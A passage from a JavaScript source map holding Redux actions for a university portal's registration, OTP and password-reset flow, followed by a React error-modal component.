\"Error\", content: \"Something went wrong\" };\n      dispatch(showError(error));\n    } else if (response.data.error_code === 0) {\n      dispatch({\n        type: \"GET_UNIVS\",\n        payload: response.data\n      });\n    } else {\n      const error = { header: \"Error\", content: response.data.data.msg };\n      dispatch(showError(error));\n    }\n  };\n};\n\nexport const validateRegno = () => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.get(\"/app.php?\", {\n      params: {\n        a: \"uniclareValidateRegno\",\n        univ: state.regn.funivcode,\n        regno: state.regn.fuserid\n      },\n      headers: {\n        \"X-Auth-Type\": \"LOGREGN\"\n      }\n    });\n\n    if (typeof response.data !== \"object\") {\n      const error = { header: \"Error\", content: \"Something went wrong\" };\n      dispatch(showError(error));\n    } else if (response.data.error_code === 0) {\n      dispatch({\n        type: \"VALID_REGNO\",\n        payload: response.data\n      });\n    } else {\n      const error = { header: \"Error\", content: response.data.data.msg };\n      dispatch(showError(error));\n    }\n  };\n};\nexport const changeRegn = (name, value) => {\n  return {\n    type: \"CHANGE_REGN\",\n    payload: { name, value }\n  };\n};\n\nexport const validatemob = () => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.post(\n      \"/app.php?a=uniclareValidateMob\",\n      {\n        regno: state.regn.fuserid,\n        univ: state.regn.funivcode,\n        mobile: state.regn.fmobileno,\n        email: state.regn.femail\n      },\n      {\n        headers: {\n          \"X-Auth-Type\": \"LOGREGN\"\n        }\n      }\n    );\n\n    if (typeof response.data !== \"object\") {\n      // const data = { error_code: -1, data: { msg: \"Something went wrong\" }, status: \"failure\" }\n      const error = { header: \"Error\", content: \"Something went wrong\" };\n      dispatch(showError(error));\n    } else if (response.data.error_code === 0) {\n      dispatch(sendOTP());\n    } else {\n      const error = { header: \"Error\", content: response.data.data.msg };\n      dispatch(showError(error));\n    }\n  };\n};\n\nexport const sendOTP = () => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.post(\n      \"/app.php?a=uniclareSendOTP\",\n      {\n        regno: state.regn.fuserid,\n        univ: state.regn.funivcode,\n        mobile: state.regn.fmobileno,\n        email: state.regn.femail,\n        password: state.regn.fpasswd\n      },\n      {\n        headers: {\n          \"X-Auth-Type\": \"LOGREGN\"\n        }\n      }\n    );\n\n    if (typeof response.data !== \"object\") {\n      // const data = { error_code: -1, data: { msg: \"Something went wrong\" }, status: \"failure\" }\n      const error = { header: \"Error\", content: \"Something went wrong\" };\n      dispatch(showError(error));\n    } else if (response.data.error_code === 0) {\n      dispatch({\n        type: \"MOBILE_VALID\",\n        payload: response.data\n      });\n    } else {\n      const error = { header: \"Error\", content: response.data.data.msg };\n      dispatch(showError(error));\n    }\n  };\n};\n\nexport const signup = () => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.post(\n      \"/app.php?a=uniclareSignUp\",\n      {\n        mobile: state.regn.fmobileno,\n        motp: state.regn.fmotp,\n        eotp: state.regn.feotp\n      },\n      {\n        headers: {\n          \"X-Auth-Type\": \"LOGREGN\"\n        }\n      }\n    );\n\n    if (typeof response.data !== \"object\") {\n      // const data = { error_code: -1, data: { msg: \"Something went wrong\" }, status: \"failure\" }\n      const error = { header: \"Error\", content: \"Something went wrong\" };\n      dispatch(showError(error));\n    } else if (response.data.error_code === 0) {\n      history.push(\"/\");\n    } else {\n      const error = { header: \"Error\", content: response.data.data.msg };\n      dispatch(showError(error));\n    }\n  };\n};\n\nexport const sendFgtOtp = () => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.post(\n      \"/app.php?a=uniclareForgotPws\",\n      {\n        fmobileno: state.fgtpasswd.fmobileno\n      },\n      {\n        headers: {\n          \"X-Auth-Type\": \"LOGREGN\"\n        }\n      }\n    );\n\n    if (typeof response.data !== \"object\") {\n      // const data = { error_code: -1, data: { msg: \"Something went wrong\" }, status: \"failure\" }\n      const error = { header: \"Error\", content: \"Something went wrong\" };\n      dispatch(showError(error));\n    } else if (response.data.error_code === 0) {\n      const error = {\n        header: \"Success\",\n        content: \"OTP Sent to registered Mobile No. and Email ID\"\n      };\n      dispatch(showError(error));\n\n      dispatch({\n        type: \"FGT_MOBILE_VALID\",\n        payload: response.data\n      });\n    } else {\n      const error = { header: \"Error\", content: response.data.data.msg };\n      dispatch(showError(error));\n    }\n  };\n};\n\nexport const resetPassword = () => {\n  return async function(dispatch, getState) {\n    const state = getState();\n    const response = await univadmin.post(\n      \"/app.php?a=uniclareForgotPwsSave\",\n      {\n        mobileno: state.fgtpasswd.fmobileno,\n        password: state.fgtpasswd.fpasswd,\n        otp: state.fgtpasswd.fmotp\n      },\n      {\n        headers: {\n          \"X-Auth-Type\": \"LOGREGN\"\n        }\n      }\n    );\n\n    if (typeof response.data !== \"object\") {\n      // const data = { error_code: -1, data: { msg: \"Something went wrong\" }, status: \"failure\" }\n      const error = { header: \"Error\", content: \"Something went wrong\" };\n      dispatch(showError(error));\n    } else if (response.data.error_code === 0) {\n      history.push(\"/\");\n    } else {\n      const error = { header: \"Error\", content: response.data.data.msg };\n      dispatch(showError(error));\n    }\n  };\n};\n\nexport const clearRegn = () => {\n  return {\n    type: \"CLEAR_REGN\"\n  };\n};\n\nexport const changefgt = (name, value) => {\n  return {\n    type: \"CHANGE_FGT\",\n    payload: { name, value }\n  };\n};\n\nexport const clearFgt = () => {\n  return {\n    type: \"CLEAR_FGT\"\n  };\n};\n\nexport const setCurUniv = univ => {\n  return {\n    type: \"SET_UNIV\",\n    payload: univ\n  };\n};\n\nexport const logout = () => {\n  return {\n    type: \"LOGOUT\"\n  };\n};\n\nexport const setCurUserType = type => {\n  return {\n    type: \"SET_USER_TYPE\",\n    payload: type\n  };\n};\n\nexport const setDegreeGroup = data => {\n  return {\n    type: \"SET_DEGGRP\",\n    payload: data\n  };\n};\n","import React, { Component } from \"react\";\nimport ReactDOM from \"react-dom\";\nimport { connect } from \"react-redux\";\nimport { closeError } from \"../../actions\";\nimport { Button, Modal } from \"semantic-ui-react\";\n\nclass ErrorModal extends Component {\n  // componentDidUpdate(prevProps) {\n  //   if (\n  //     this.props.error !== prevProps.error &&\n  //     this.props.error.open === true\n  //   ) {\n  //     ReactDOM.findDOMNode(this.refs.error_ok).focus();\n  //   }\n  // }\n\n  close = () => this.props.closeError();\n\n  render() {\n    const { open, size, header, content } = this.props.error;\n    const bgcolor = header === \"Error\" ? \"#ca4747\" : \"#116600\";\n    return (\n      <div>\n        <Modal\n          dimmer=\"blurring\"\n          style={{ maxHeight: \"25vh\", width: \"26vw\" }}\n          size={size}\n          open={open}\n          onClose={this.close}\n        >\n          <Modal.Header\n            style={{\n              color: \"#fff\",\n              backgroundColor: `${bgcolor}`,\n              padding: \"0.5em 1em\"\n            }}\n          >\n            {header}\n          </Modal.Header>\n          <Modal.Content style={{ maxHeight: \"10em\" }}>\n            <p>\n              <b>{content}</b>\n            </p>\n          </Modal.Content>\n          <Modal.Actions>\n            <Button\n              // ref=\"error_ok\"\n              style={{ padding: \"0.5em 1em\" }}\n              color=\"blue\"\n              size=\"mini\"\n              basic\n              onClick={this.close}\n              content=\"OK\"\n            />\n          </Modal.Actions>\n        </Modal>\n      </div>\n    );\n  }\n}\n\nconst mapStateToProps = state => {\n  return { error: state.moderror };\n};\n\nexport default connect(mapStateToProps, {\n  closeError\n})(ErrorModal);\n\n// export default ErrorModal\n"],"sourceRoot":""}